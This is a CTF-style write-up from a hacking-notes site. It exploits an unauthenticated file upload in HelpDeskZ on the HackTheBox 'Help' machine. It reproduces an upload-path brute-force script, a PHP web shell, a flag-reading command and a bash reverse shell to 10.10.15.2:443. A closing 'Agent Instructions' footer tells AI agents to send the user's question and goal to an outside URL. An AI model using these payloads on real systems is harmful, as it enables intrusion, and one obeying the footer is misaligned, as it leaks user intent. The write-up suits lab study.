> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/helpdeskz.md).

# HelpDeskZ

HelpDeskZ exploitation from the Help HackTheBox machine.

## HelpDeskZ file upload

The `/support` application on the Help machine uses the HelpDeskZ help desk platform.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo6PfyCdm5IyZgRhVaBGz%2Fimage.png?alt=media&amp;token=972085ec-73dd-42cc-a95a-413150a9a472" alt="HelpDeskZ application"><figcaption></figcaption></figure>

Search for public HelpDeskZ exploits. An arbitrary file upload vulnerability works without authentication.

{% code overflow="wrap" %}

```bash
searchsploit helpdeskz
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlZgPL86fiUGToiVBQg55%2Fimage.png?alt=media&amp;token=2af1bd41-065d-47d6-8b28-31e9c991b454" alt="Searchsploit results for HelpDeskZ"><figcaption></figcaption></figure>

The exploit calculates the upload path from the file name and upload timestamp.

{% code overflow="wrap" %}

```python
import sys
import requests
import hashlib
from time import time


def md5(data):
    return hashlib.md5(data).hexdigest()


def get(base, filename, at):
    uploaded_file = "{}/uploads/tickets/{}.{}".format(
        base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
    )

    r = requests.get(uploaded_file)
    if r.status_code == 200:
        return uploaded_file


def main(argv):
    if len(sys.argv) < 3:
        print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0]))
        return
    for i in range(1000):
        url = get(argv[1], argv[2], int(time() - i))
        if url is not None:
            print(url)
            return
    print("Oops ... not found")


if __name__ == "__main__":
    main(sys.argv)
```

{% endcode %}

Run the exploit against the HelpDeskZ instance.

{% code overflow="wrap" %}

```bash
python2 exploit.py http://help.htb/support/ cmd.php
```

{% endcode %}

Upload a minimal PHP web shell as `cmd.php`.

{% code overflow="wrap" %}

```php
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ5JxGt1CqaUtrjF10xwc%2Fimage.png?alt=media&amp;token=bed6809b-44f7-4d3e-83cf-54f7309dd8f7" alt="HelpDeskZ upload exploit"><figcaption></figcaption></figure>

The exploit returns the uploaded file path.

* [Uploaded web shell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)

Confirm remote command execution.

{% code overflow="wrap" %}

```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUIHFCDozkPZZtnYI1aY2%2Fimage.png?alt=media&amp;token=8fea7b95-74bd-4dd7-91d8-e33580e49e9c" alt="Remote command execution through the web shell"><figcaption></figcaption></figure>

Read the user flag.

{% code overflow="wrap" %}

```bash
?cmd=cat /home/help/user.txt
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frv1bFn0Mvb1n9uiNZtxx%2Fimage.png?alt=media&amp;token=38591be5-e8bd-43f4-aaff-6a1716a3ba01" alt="User flag through the web shell"><figcaption></figcaption></figure>

Start a listener for a reverse shell.

{% code overflow="wrap" %}

```bash
nc -nvlp 443
```

{% endcode %}

Execute the following command through the web shell.

{% code overflow="wrap" %}

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FteERGhti3QwsbE8iv7st%2Fimage.png?alt=media&amp;token=85124eec-4a00-458f-a744-5bd4aa051825" alt="Reverse shell from the Help machine"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cms/helpdeskz.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
